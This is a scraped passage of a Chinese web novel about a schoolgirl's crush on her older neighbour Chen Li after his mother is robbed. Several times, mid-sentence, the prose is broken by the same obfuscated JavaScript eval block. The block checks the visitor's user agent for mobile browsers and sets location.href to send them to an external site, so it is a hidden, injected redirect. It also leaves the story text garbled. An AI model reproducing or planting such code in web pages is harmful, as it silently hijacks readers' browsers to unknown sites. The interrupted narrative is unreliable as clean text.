董莲为了护住手机和背包,被抢劫者拖曳在冰冷的水泥地上,手脚和身体都擦伤无数,被抢劫者踹过的大腿,起了一块好大的淤青。 好在她穿的衣服还算厚实,没有带来更大的伤害,此乃不幸中的万幸。 但她的精神小受打击,在病床上恹了两日,始终闷闷不乐。 附近的邻居瞧她可怜,送来不少瓜果蔬菜,让她在家里好好养伤,报警之后,虽然没找出抢劫者,但警察加强了夜巡,日后此类事情应该不会再发生。 董莲再三道谢,同时怕在读高三的陈历担心,特意嘱咐邻居们帮忙瞒着。 - 发生抢劫的事情后,作为邻居的宋家承担起照顾董莲的责任。 那日周六,宋昭昭放学在家,听父母的话给董莲送来一盘削好的水果,顺便坐在她床前陪她聊聊天,聊着聊着,董莲抵挡不住睡意,很快陷入了梦乡。 陈历来电时,董莲正巧入睡,守在一旁照顾的宋昭昭见铃声响个不停,自作主张接起了电话。 董莲的电话被宋昭昭接过去,本就令人疑惑,后面听她开口说话,嗓音嘶哑着,有点心虚,还有点惊魂未定的委屈,陈历当即听出不对劲。 他沉着脸,向宋昭昭逼问。 宋昭昭年纪小,哪里经得住他的刨根问底,不自觉就把事情经过全部吐露出来。 说完,宋昭昭就知道自己闯祸了。 等董莲睡醒之后,她蹲在床前,小声地、一五一十地交代了通话内容。她怕董莲生气,胆怯地低着头。 然而听完她的话,董莲只是莞尔一笑,摸摸她的头,轻声细语道:“没事的,他那么聪明,只要想知道,无论如何都会追根究底,跟你没关系,你不要放在心里。” 陈历当天挂完电话后,第二天一早就出现在了风光路弄堂。 他脸色阴郁,神情倦怠,头发乖顺地耷拉着,青色的胡须一茬茬冒出来,有些疲倦。 宋昭昭见到他的第一眼,心脏莫名一缩,密密麻麻的酸涩感席卷全身。 莫名其妙。 明明陈历比她还要大上几岁,比她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405657|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更成熟、更稳重,可见到平时清清冷冷的他,第一次失魂落魄地站在她面前,触及到他冰冷的目光,宋昭昭的心仿佛被一只手攥紧。 除了难受,她感到前所未有的心疼。 高三生学业繁重,但陈历担心董莲的身体状态,仍是固执地请了一周的事假,留在家里亲历亲为地照顾董莲。 他们母子二人话不多,却都是知恩图报的性子,宋昭昭父亲帮了董莲一次,陈历回校前的那天中午,特意在家烧了一大桌子菜,请他们过来聚餐。 已经是第二周的周日,宋昭昭放假回家,只顾得上躺着睡懒觉。 醒来已是大中午,母亲敲她房门,让她快点儿起床,中午去对门陈历家吃饭,他亲自下厨,感谢他们一家出手相助。 宋昭昭睡眼惺忪,迷迷糊糊地抱着被子在床上打滚,听完母亲的话瞬间清醒。 他要请他们一家吃饭? 母亲说完就离开了,宋昭昭猛地从床上弹起来,花了两分钟消化刚才听到的消息。她趿拉着拖鞋,跑到卫生间洗漱,末了拍拍自己的脸蛋,左右翻看今天的状态。 女为悦己者容,她有自己的小心思,想在他面前展示自己完美的一面。 五个人聚餐,陈历烧了整整八道菜,宋昭昭跟着父母进入陈家的时候,他正挽着衣袖在厨房烧最后一道蒜蓉大虾。 这道菜,是宋昭昭的最爱。 刚进门,四溢的香味便扑鼻而来,她瞬时亮了眼睛,踮起脚尖往厨房张望。 他穿着家居服,套上围裙,一手握住锅柄,一手提着铲子翻炒锅里的大虾。 动作利索,整个过程行云流水。 董莲招呼宋昭昭过去坐,她应了声“好”,恋恋不舍地收回目光。 父母两人与董莲攀谈,董莲摆着碗筷同他们客气:“都是些家常菜,也不知道你们喜不喜欢。” “我看着都很好,没想到陈历居然会做菜,小伙子很可以啊!” 董莲谦虚:“他会做的不多,不过味道是可以的,你们快坐,差不多可以吃了。” 五个人相继入座,宋昭昭坐在了陈历对面。 她一改往日狼吞虎咽的形象,吃得慢吞吞,格外优雅。趁着夹菜的功夫时不时抬头看他一眼,嘴角微微上扬。 长辈们聊起邻居的八卦,注意力不在两个晚辈身上,宋昭昭的眼神更肆无忌惮地落在陈历的脸上、手上。 本以为她偷偷摸摸的小动作不会被人发现,却不料再一次胆大妄为地将视线投向他的时候,立刻被他捕捉到。 四目相对,陈历深深看她一眼。 宋昭昭率先认怂,移开了目光。 接下来的时间,她再不敢放肆,只顾着埋头夹菜吃饭。 董莲注意到她的安静,笑嘻嘻给她夹了一只蒜蓉大虾,她言语温柔:“昭昭,尝尝这虾,听你爸妈说你喜欢这道菜,阿历特意学来做给你吃的。” 此言一出,在场的气氛霎时静了一瞬。 宋母瞧瞧陈历,又看了看微怔的女儿,大笑着夸赞道:“阿历有心了,手艺很不错。” 宋昭昭微微抬头,亮晶晶的眼睛对上陈历的双眸,眼中细碎的情绪一闪而过。 陈历并不错开她的视线,缓缓勾起嘴角,朝她轻点了下头。 5. 第五章 05 此次回来,陈历没带行李,回学校也是两手空空。 宋昭昭送他到弄堂口,两头的冷风灌进来,发丝被吹得群魔乱舞。她冷得瑟缩了下肩膀,陈历看她一眼,悄无声息地挪步到她的左前方,帮她挡去了大半的寒风。 宋昭昭的余光注意到他的举动,心不由暖融融的。 两个人本就交集不多,这会儿面对面站立,更是说不出寒暄的话语。 宋昭昭的手紧张地垂立在两侧,揪了揪衣角,正要开口,陈历打断了她的话:“多谢你们照顾我妈,以后有什么地方需要我帮忙,尽管开口。” 他的态度依然很客气。 这点小忙是举手之劳,难为他放在心上。 将来都是邻居,低头不见抬头见,打招呼、互帮互助都是常有的事,宋昭昭心里打着算盘,不然就趁此机会与他建立联系? 宋昭昭舔了舔嘴唇,抬眼的同时手伸向裤兜里,摸索了好一阵,从里面掏出手机。 她打开二维码,缓缓递到他面前,结结巴巴地问:“要不,我们先加个联系方式?” 此话一出,陈历轻笑了声。 他目不转睛地盯着宋昭昭,眼里漾着笑意。 午后暖洋洋的光照在两人肩头,弄堂里时不时有人进出,向他们投来好奇的视线。 见他长久不回应,宋昭昭尴尬地闭了闭眼,她默默地准备收回手机,头顶忽地传来陈历懒洋洋的声音。 他说:“好。” - 上学的日子总过得特别快,宋昭昭添加陈历为好友之后,总是三番五次翻看他的朋友圈,明明他的朋友圈什么内容都没有,可她就是想从他的头像和个签中琢磨点什么出来。 喜欢一个人,自然对他的一切都感到好奇。 宋昭昭好像着了他的迷,上课、跑操、入睡前,总要想一想他。 听父母说,陈历在市里的重点高中读高三,高考前最关键的一年,哪怕手机带在身边,估计也没什么机会玩耍。 尤其见他平时放学在家,基本不出去玩,没日没夜的待在房间啃题,可见他在学习上下了很大的功夫。 喜欢一个本身就很好的人,足够激发宋昭昭对学习的热情,正因为陈历足够优秀、努力,她对待学习也变得更加认真、专注。 她想着,他是远处的高山,那她就跋山涉水去见他。 自从上次董莲遭遇抢劫的事情之后,两家人断断续续开始有了来往,董莲手艺巧,偶尔包了粽子、饺子,都要给他们端一盆。 盛情难却。 周末的时候,宋父就会烧一大桌子饭菜,叫陈历母子过来一块儿吃。 吃完饭,三位大人坐在客厅看电视聊天,宋母与董莲格外投缘,常常拉着她聊起上班的同事、邻居的八卦,别提多兴奋热闹。 往往这时,宋父就会自觉地躲进书房,把空间留给两个滔滔不绝的女人。 宋昭昭和陈历通常担任洗碗、打扫的角色,长辈们吃完饭,拍拍屁股走人,他们就一块儿在厨房收拾卫生。 说是两个人一块儿洗,其实都是陈历在动手。 宋昭昭有心打下手,偏偏她手笨脚笨,非但不能提供任何有效帮助,反打碎了一口碗,白瓷碗掉地,七零八碎。 她手足无措地立在一边,捏了捏衣角,悄声说“对不起”。 她不是有意帮倒忙的。 愧疚的情绪漫上心头,鼻子一酸,眼眶中瞬间挤满泪水。她倔强地低着头,不想被瞧出此刻的脆弱。 打碎一口碗,根本不是什么大事,只是十余岁的女孩子,有强烈的自尊心,在喜欢的男孩子面前出糗,叫人感到难堪。 陈历淡淡撇过来一眼,安慰道:“没关系的,你有没有划伤?” 宋昭昭摇头。 “这里交给我来收拾吧,你小心点别碰到碎片,碗全部由我来洗,你去帮我套个垃圾袋,好不好?” 陈历言语温柔,非常贴心地抚平了她此时的内疚。 吩咐完,他拿了扫把将地面的碎片清扫干净,又蹲在地上仔仔细细地检查了两遍,确定角角落落都没有碎片残留后,才又起身继续洗碗。 他一个人井井有条地收拾了残局,宋昭昭一言不发地蹲在地上,套好垃圾袋后,仰着头大大方方地望向陈历的背影。 他长得高,一米八出头,身材偏瘦,皮肤白皙,穿着普普通通的黑色毛衣,却透出一股贵公子的气质。 他穿不同的私服,各有各的气质和味道。 然而,宋昭昭最喜欢看他穿校服的模样。 少年人干净的脸庞,未被社会摧残的心志,穿着简单的衣服,只是沿着校园的操场走一圈,都能感受到迎面而来的洋溢青春。 他仿佛天生是主角,仅仅挽着衣袖洗碗,沉默地擦拭大理石的台面,抿着唇不言不语,都能将人的注意力全部吸走。 宋昭昭的视线随着他的走动往左移,往右偏,等他真正要转过头时,她又立刻欲盖弥彰地将垃圾桶从原先摆放的位置转一个圈。 手指戳了戳垃圾袋,好似全程都挺漫不经心。 - 洗完碗之后,陈历会根据董莲的时间安排在宋家小坐一会儿,通常这个时候,他都会应宋母的请求去给宋昭昭讲题。 两个人待在宋昭昭的卧室,卧房的门大开着,长辈们偶尔会进来送一杯牛奶。 陈历边讲解边在草稿本上写下解题思路,他的思路很清晰,总能将繁杂枯燥的题目讲得透彻明白。 骨节分明的手指捏住笔,手背的青筋清晰可见。 宋昭昭的注意力不在题目上,双手捧一杯热牛奶,沿着玻璃杯沿抿一小口,听他分析题目、运用公式,跟小鸡啄米似的重重点头。 “听懂了吗?”陈历讲完一道大题,偏头问道。 他突如其来的发问吓了宋昭昭一跳,她忙不迭咽下嘴里的牛奶,含糊回道:“听懂了。” 其实听得一知半解。 宋昭昭不敢直视他,在他严肃的目光中默默低下头,总不能承认自己心猿意马吧。 上天给的考验可不小,宋昭昭正是情窦初开的年纪,放着这么一位翩翩少年在她面前,哪还顾得上题目啊…… 房间内一时寂静无声。 宋昭昭清晰地感受到自己的心跳如敲鼓般“噗通噗通”响了起来,心想着要不要寻个借口出房门透透气。 下一秒,陈历的手伸到面前。 她的眼睛瞬时睁圆,因为过于震惊而忘记躲避。 陈历的动作很轻柔,大拇指指腹贴着她的下唇,从左往右, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405658|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从湿润的唇瓣延至嘴角,小心翼翼地将她嘴边的奶渍擦干净。 收回手后,大拇指与食指的指腹轻轻揉搓了下,继续拿起笔写公式。 他前程保持淡定,唯有宋昭昭被他突如其来的动作惊得屏住呼吸,心脏仿佛要从嗓子眼跳出来。 她重重地咬了下嘴唇,确认自己并没有在做梦。 他…… 陈历正对书桌而坐,脊梁挺得笔直,宋昭昭坐在他右后方,微微抬头即能瞧见他冷峻的侧颜。 他神色未变,翻开下一章,认真负责地给她圈了几个重点。 “这几道题多做两遍,掌握出题人的思路,数学基本就是万变不离其宗,你研究透了,下次再碰到类似的题型,就知道改怎么解了。” “还有这两道,题目挺新颖的,可以挑战一下。” 见她许久不回应,陈历清了清嗓子,慢条斯理道:“宋昭昭,学习要专心。” “好。”宋昭昭乖巧地应了声。 她低下头,不去看他的侧颜,眼睫止不住颤抖。 情窦初开的少女,脑子里除了学习,自然对男女之情有许多幻想和好奇。 她在书上看过文人墨客对于爱情的描写,他们将月亮、玫瑰等具象化的物体比作思念,比作情动,借由外物一遍遍描摹自己的情感。 文字冷冰冰地躺在纸张上,远不及触碰带来的感觉更强烈。 初中,学校里早恋的同学渐渐多起来,课后女生们坐在一块儿聊天,总有人冒着星星眼八卦。 被众人团团围住的女生不好意思地低下头,咬着下唇,羞答答地说:“就牵牵手,拥抱了一下,别的什么都没做。” “真的没有吗?比如亲个嘴?” 八卦的脑袋凑得更近,起哄声中,女生羞红了脸,微不可察地点了下头。 她的承认引来更多人好奇的询问—— “这是你的初吻吗?接吻是什么感觉?” 女生回答得含含糊糊,最后选择跳过这个话题。 同为吃瓜人的宋昭昭坐在一旁,细心如她,瞧见对方从脸颊红到耳根,一副小女生娇娇软软的姿态,不免歪着头想象。 然而再多的想象,都不如亲密接触的实感更震撼。 陈历明明与她保持着客气礼貌的距离,行为举止从来没有越界,仅是顺手帮她擦走嘴角的奶渍,一个普通寻常的举动,居然令她朝思暮想,夜不能寐。 到了晚上,夜深人静。 宋昭昭抱着棉被,躺在床上翻来覆去。 闭上眼,脑海里不由自主浮现出他握着笔,在草稿纸上“唰唰唰”写解题过程的模样,全神贯注,聚精会神,并不受外界干扰。 睁开眼,她仿佛又瞧见正对着床头的书桌还坐着那个人,微微侧过身,轻柔地帮她擦去嘴角的牛奶,末了提醒她——“学习要专心”。 他嗓音低沉,看起来像是随口一说,听的人却觉饱含深意。 为什么特意提醒她“学习要专心”?难道说,他也看出来点什么了? 宋昭昭从床头摸出手机,干脆利落地打开陈历的微信,在键盘上敲敲打打,又删除。 终于,眼一闭心一横,发送了一条消息过去。 【你睡了吗?】 【有个问题想问你。】 6. 第六章 06 宋昭昭发送消息的时候已是凌晨一点,用脚趾头想想也不可能当即得到回复,等她后悔想撤回的时候,已经来不及。 等了将近十分钟的时间,都没有得到陈历的回复,她终于恋恋不舍地放下手机,在纠结的情绪中睡去。 这一觉睡得并不安生,夜里好像做了无数个梦,偏偏醒来的时候头晕目眩,记不清梦境中发生的一切,也说不上来难受因何而起。 陈历早上六点的时候就回复她了。 【什么问题?】 他们聊天的机会并不多,永远是有正事说正事,没正事不闲聊。 宋昭昭早已习惯他们的相处方式。 她捏着手机,“噔噔噔”跑下床,从一摞摞堆叠的试卷中找出自认为比较复杂的题目,拍了张照片给他发过去。 【这题不太会,能教教我吗?】 五分钟后,陈历的消息回了过来。 【这不就是昨天我给你分析的那一道大题?】 【我在草稿本上写了完整思路,你去找出来,仔细看两遍。】 “……” 得。 昨天的心不在焉被她自己泄密得干干净净,宋昭昭掩面,还好陈历不在身边,否则这张脸真没地方搁。 她仰天长叹,陈历的消息又发来了,半开玩笑半认真的语气。 【这让我感到很挫败啊。】 言外之意,他难得辅导人功课,宋昭昭也不是资质差的学生,居然没听懂他的讲解。 后面跟了个“欲哭无泪”的表情包,和他清冷疏离的形象形成巨大反差,有点可爱。 宋昭昭的无地自容被这个表情包冲散不少,她盯着屏幕上的小人,小人脸上挂着两条飘荡的泪水。 她抿抿唇,“噗嗤”一声笑了出来。 - 时间很快来到寒假。 放假之后,宋昭昭在家彻底懒惰下来,每天写两个小时作业,玩四个小时手机,看小说、刷剧,敞着大牙嘎嘎乐。 宋母帮她打扫房间,忍不住念叨:“你瞧瞧你,放假在家就跟没长手脚一样,起来运动一下啊,我的小祖宗!” 宋昭昭充耳不闻。 宋母摇摇头,以艳羡的语气说着:“哎哟,还是你莲姨享福,生个儿子不仅人长得帅,读书还好,放了寒假去做兼职,年纪轻轻就知道帮家里减轻负担……” 兼职? 宋昭昭抓住母亲话里的字眼,“唰”的一下从床上弹起来。 “兼职?你是说陈历哥哥寒假去做兼职了?” 宋昭昭盘腿坐在床上,注视着母亲,陡然抬高了音量。 难怪最近在楼道里都没有遇见过他,这段时间家里烧了饭叫他们过来一起吃,也总是不见陈历的身影。 “是啊,都工作一周了。”宋母回道。 宋昭昭沉默,手指无意识地抠着床单。 之前在饭桌上,她听母亲提起过陈历的家境。 听说他父亲是做工程的,母亲一直是家庭主妇。工程失败后,陈历父亲将烂摊子丢给母子二人处理,拿走一部分私房钱后,自此杳无影踪。 陈历母子变卖了家产才还上一些工钱,自己却落得一无所有。 走投无路的时候,亲戚可怜他们,将风光路闲置许久的房子腾出来借给他们住。 搬来风光路后,董莲和陈历的日子过得很拮据,邻居们看出来他们不容易,大家心善,总想着能帮一点是一点,就连陈历寒假的兼职工作,也是邻居帮忙牵线促成的。 他们好像挺缺钱的。 如果…… 宋昭昭挪到床沿,眼珠子提溜打转,一个主意就这么在脑海中冒了出来。 她的视线随着母亲打扫房间的身影转来转去,最后咳嗽两声,起了开头:“妈,莲姨一个人打工赚钱养孩子,应该挺不容易的吧?” 宋母头也不抬:“那不废话?” “她做收银员,能有多少工资啊?够他们吃喝吗?” “这涉及隐私了啊,我没问过。估计只有几千块钱一个月吧,陈历住校,平时都在学校食堂吃饭,你莲姨在家花得可省了。” “这样啊……” 宋母顿了顿,压低声音道:“不过,我估计你莲姨有存钱的想法,明年陈历就要上大学了,比起初高中,大学花销会更厉害。等毕业之后,成家立业、娶妻生子,花得就更多了!” 陈历人还未成年呢,怎么就计划安排上成家立业、娶妻生子的生活了? 宋昭昭下意识皱了皱眉。 半分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405659|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,宋昭昭犹豫:“妈,其实读初中以来,我觉得在学习上有点吃力……” 宋母本来背对着宋昭昭在拖地,听她这么一说,神情顿时紧张起来。 她回过身,视线上上下下打量了一番坐在床沿的宋昭昭,似在判断她话里的真实性。 宋昭昭从小到大都挺自觉听话,很少主动开口讲学习上遇到的困难。她的成绩向来名列前茅,父母两人对她也一直很放心。 虽说初中的知识点相较于小学,会有一个很大的跨越,少部分人跟不上学习节奏,容易掉队,但这次期末考,宋昭昭排在班级前五,并没有差到哪里去。 大概是她对自己的要求又提高了。 宋母严肃地杵着拖把,拉了张椅子坐到她面前,问:“怎么说,跟不上老师上课的节奏?要给你报个补习班吗?” 宋昭昭低下头,斟酌了会儿才说:“节奏跟得上,就是有时候遇上那种晦涩难懂的题目,最好能有人帮忙多讲两遍,以便我更深刻理解。” “嘶——”宋母赞同地点点头,“你说的也是。” 宋昭昭嘴巴微张,卡在喉咙里的话被宋母截断:“我给你找找有没有上门补习的家教,趁着寒假把这学期没完全弄明白的知识都给补上。” 宋母是个雷厉风行的性子,话音刚落就打开手机,准备问邻居有没有靠谱的家教介绍。 这么着急吗? 宋昭昭错愕地瞪大了眼睛,慌里慌张伸出手,拦住她的下一步动作。 宋母不解,偏过头问道:“不想请家教,还是想去补习班?” “都不是……” “那你拦我做什么?有问题及时发现,及时解决,免得拖着拖着,问题都滚成了雪团,到那时候,可不是简单的补课能弥补的。” “我知道。”宋昭昭看一眼母亲,无奈地叹口气。 她说得挺明白的,联系刚刚聊天的内容不就能猜出她的意图,怎么母亲好像…… 没理解到位。 她垂下脑袋,有些羞赧,低声道,“这不是……有个现成的嘛。” 此话一出,宋母不甚理解,歪头想了想。 好半晌之后,眸光微微闪动。宋母恍然大悟,抬起手惊诧道:“你是说……陈历?” 宋昭昭点头。 7. 第七章 07 “陈历……” 宋母喃喃自语,支着下巴开始考虑此事的可行性。 陈历在市重点高中读书,排名全校前五,年年领奖学金、评三好学生,老师、家长都对他赞不绝口。尤其他还孝顺、体贴、礼貌,自律性极强,身上闪光的优点一大堆,若能请他来做家教,近朱者赤,近墨者黑,宋昭昭能从他身上学到点皮毛,她作为母亲也是很欣慰的。 只不过…… “人家寒假已经找到兼职工作,刚上手不久,忙得团团转,能挤出时间来教你吗?” 宋母觉得有点为难,说出了自己的担忧。 眼见母亲没有任何怀疑,开始认真考虑她的建议,宋昭昭心头大喜。 她的手指摩挲床单,凝望着母亲,脸上的笑容十分真诚:“请其他上了年纪的、教学经验丰富的老师上门辅导,还不如同龄人有话聊,更何况人家是市重点高中的佼佼者,肯定更懂得怎么应对考试啊!” “妈,你去试试呗。如果他愿意的话,可以把手头兼职的工作辞掉,我们这边再多给他加点钱。” 听起来是个好主意。 宋母沉思了片刻,若有所思地点点头:“行,我找个时间先和他妈妈谈谈。” “一言为定!”宋昭昭乐得从床上一蹦三尺高,眼底尽是笑意。 宋母抬眼,狐疑道:“这么高兴?” 意识到她的行为举止有些夸张,宋昭昭忙放下高举的手,她“嘿嘿”两声,冲宋母慢条斯理道:“人家可是市重点高中年级前五,妈,抓住机会啊!” 宋昭昭紧紧握拳,冲她比了个“加油”的收拾。 宋母对宋昭昭的言论深信不疑,难得见她对学习如此上心,她感到万分宽慰,点头应和:“好好好,我努力。” - 宋昭昭没料到母亲这一关居然过得那么轻易,原以为宋母可能会问东问西,然而她犹豫了片刻之后,还是答应下来。 母亲重视她的学习,宋昭昭自己也不敢再耽误。 自从提出建议后,她开始天天早起,坐在书桌前看书写题,她想着万一陈历答应下来,她总不能翻开一张张空白的卷子让他从头开始讲吧。 上次的错误可不能再犯,她得在他面前留个好印象。 宋母火急火燎地去找董莲商量,偏偏那会儿陈历的兼职工作忙,有时候晚上还要加班,他们的时间凑不到一块儿。 因而,她需要多等几天时间。 宋昭昭心急如焚,生怕途中生了其他事端,但在母亲面前,她依旧要保持相对的定力,假装没那么在意地在她面前晃来晃去。 左等右等,宋昭昭最终还是等来了一个坏消息。 上回提议过后,宋母立即去找董莲说明了情况,董莲尊重孩子的选择,去跟陈历打了个招呼,问他意愿。 陈历花了几天时间考虑,最终拒绝。 他目前在做的兼职工作,比较忙碌,老板人手不够,但对他格外照顾,他这人做任何事都不愿意半途而废,尤其这工作还是邻居帮忙介绍的,不能拂了别人的好意。 不过陈历也承诺,会尽量腾出时间帮助宋昭昭复习功课、做题学习,不收费。 宋母难为情,董莲拍拍她的肩膀:“你们一家帮了我很多忙,陈历教昭昭做题是小事,别觉得不好意思。” “意思是说,他不答应做我的家教?”宋昭昭听完宋母的话,失落感涌上心头,她神情恹恹的。 “会来教你,但得看他时间。”宋母替陈历解释,而后真挚地看向宋昭昭,“要不我还是给你另外找个家教吧。” 宋昭昭抬眼,陡然提高声音:“为什么?” “陈历不收费,我都不好意思让他帮忙。更何况人家还有自己的事情的呀,怎么能次次麻烦别人呢?” 宋母的想法再正常不过,毕竟人情这东西最难还。 虽然他们平时也会多帮衬点董莲,但那都是顺手的事,并不会耽误他们自己个儿。然而陈历要是辅导宋昭昭学习,就会耗费他大量时间。 虽然他们本意是想着请家教花钱,这钱与其让别人赚,还不如让陈历来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他蹲下身,面朝花丛,全神贯注地盯着某一处。 他在看什么? 宋昭昭疑惑地蹙了下眉,顺着他的视线看过去,角度有些刁钻,只看到一丛灌木。 她收回视线,拎着垃圾袋,从他身侧假装不经意走过。 他没发现她。 宋昭昭撇了下嘴,踱步走到垃圾桶前面,扔掉垃圾时砸出“咚咚”两声巨响,余光注意到不远处路灯下的人,缓缓抬起了头。 宋昭昭佯装不知,微微侧过身,目光对上陈历,假装吃惊地“诶”了一声,边说边朝他的方向走过来。 “陈历哥哥,你怎么在这里?” 语气略显夸张,宋昭昭暗自咬了下舌头,演技着实有待提升。 三步并作两步,宋昭昭快速走到陈历身侧,学着他的姿势蹲下来。 “喏。” 陈历并不回答,朝她微微一笑,紧接着向灌木丛的方向抬了抬下巴,示意她看过去。 宋昭昭先是粗粗地打量了他一下,看见他双手抱臂搭在腿上,姿态很放松。 抱着疑惑的态度,宋昭昭循着他的视线望过去,才发现灌木丛的阴影里站着一只小猫,身材瘦削,矮矮小小,顶多比她两个巴掌大点。 宋昭昭与小猫视线对上的瞬间,小猫吓得哆嗦了一下。 “……” 她有那么可怕? 目光下移,宋昭昭看见小猫的面前摆着一根折断的火腿肠,小猫狼吞虎咽,将火腿肠吃得七零八碎,嘴边的胡须挂着残渣,看起来十分诙谐。 许是饿极了,才会是这么个风卷残云的吃法。 它好瘦小,却睁着一双亮亮的眼睛,冲宋昭昭“喵喵”两声,往后撤了两步。 它显然对陌生人感到恐惧,宋昭昭理解它自我防御的原因,心蓦地柔软,她眼睛亮晶晶的,冲小猫温柔打招呼。 “嗨,咪咪。” 小猫眼睛一眨不眨地盯着它。 宋昭昭面上笑嘻嘻的:“别怕,过来摸摸好不好?” 风光路地多人稠,从南到北住着几百户居民,养猫养狗的人不计其数,纵使有些人家不养猫狗,依旧保持着对动物的善良和友爱,遇上流浪猫狗时,都会倒些剩菜剩饭,或是专门买了猫粮、狗粮投喂,因而这里来往的小动物可不少,有些眼熟的动物,居民们甚至已经给它取好名字,方便养活。 这只小猫,宋昭昭之前没见过,看它的模样,估计出生不超三个月。 原本还在埋头啃火腿肠的小猫,自宋昭昭靠近之后,一直保持着警惕的姿势盯着她看。圆溜溜的大眼睛,一眨不眨地与她对视,又萌又可爱。 它不向宋昭昭走近,可见警惕之心依然在。 宋昭昭“噗嗤”笑出声,朝它抬抬手,悄声道:“你吃,你吃,我不打扰你。” 说着,她往旁边挪了挪身子,尽量避开它的视线。 从小猫的角度望过去,虽然看不见宋昭昭的身影,可它的嗅觉灵敏,嗅到周围还有她的气味,愣是不敢上前一步。 它朝陈历“喵喵”叫,似乎希望他可以帮助自己。 陈历偏过头看了眼极力缩小自己的宋昭昭,又看了看馋得委屈巴巴,却胆小不敢上前的小猫,低头笑了笑。 他撕开手里鸡胸肉的包装,挪步上前,举着袋子朝它颠了颠。 陈历“嘬嘬嘬”的呼喊逐渐放下小猫的戒备,犹豫了片刻,它没抵挡住鸡胸肉的诱惑,终是舔了舔嘴巴,朝他走过去。 此情此景过于温馨美好,宋昭昭躲在旁边默默看着,嘴角始终挂着淡淡的笑意。 昏黄的灯光打在他的背上,地上投出一团小小的影子。此时正值饭点,家家户户都亮起灯光,其乐融融,欢聚一堂。 四下无人的街道,他颇具耐心地哄着小猫吃吃鸡胸肉,看得人心里暖洋洋。 冬日的寒风徐徐刮来,宋昭昭裹紧了身上的衣服,目光从陈历骨节分明的手一寸寸上移至他的脸。 陈历安静时脸上看不出情绪,拉平了嘴角,流畅清晰的下颚线仿佛赏心悦目的画,画上山峰耸立,碧波荡漾。 这张脸少年气十足,偏偏性格坚毅、果敢,拥有同龄人身上少见的成熟。 陈历专注地剥开最后一块零食,递到小猫嘴边,另一只手轻柔地摸了摸小猫的头顶。 三秒后,陈历浅浅地叹了一口气,似是为难,也感到可惜。 下半年就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405661|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是高三生最重要的冲刺时刻,他可能没办法一周回一次家,母亲董莲身体虚弱且忙于工作,即使他有心想收养这只小猫,恐怕都抽不出时间照顾。 今天下班比平时晚了半个小时,他没留在雇主家吃晚饭,想着马上就到除夕夜了,回来跟母亲一块儿大扫除。 途经此处,听到小猫扯着嗓子“喵喵喵”地叫,可见饿极了。他折身去附近的小卖部买了点吃的,引着小猫蹲到花丛中,任由它大快朵颐。 只是可惜,他们之间的缘分,可能只有这么一晚,这么一顿不知算不算丰富的晚餐。 他的声音微不可闻,宋昭昭还是听见了,她露出一丝犹豫的神色,抬眸问他:“为什么叹气呢?” 在宋昭昭的注视下,陈历解释:“没事,只是看它吃得这么着急,应该饿挺久了。” 宋昭昭对小猫的态度很亲和,想来也是个喜爱动物的人。 不过上回在楼道里,他撞见宋昭昭的母亲背后跟着一只流浪狗,宋母仓皇地往楼上跑,边跑边回头确认流浪狗的位置。 正巧陈历下楼取快递,看见这一幕,主动上前挡在了宋母和流浪狗之间。 他以为宋母怕狗,所以才会慌乱逃跑,然而对方解释自己对狗毛、猫毛过敏,以前不知情捡过一只,结果没养几天,全身起了红疹子,去医院检查才知道身体这毛病。无法,她只能为捡到的小狗另外再寻一户人家。 虽然不能近身接触,但她遇上时依然会选择投喂,那只流浪狗吃了宋母喂的食物,就想跟她回家。 可惜宋母没办法领养,最后由陈历将它带离楼道。 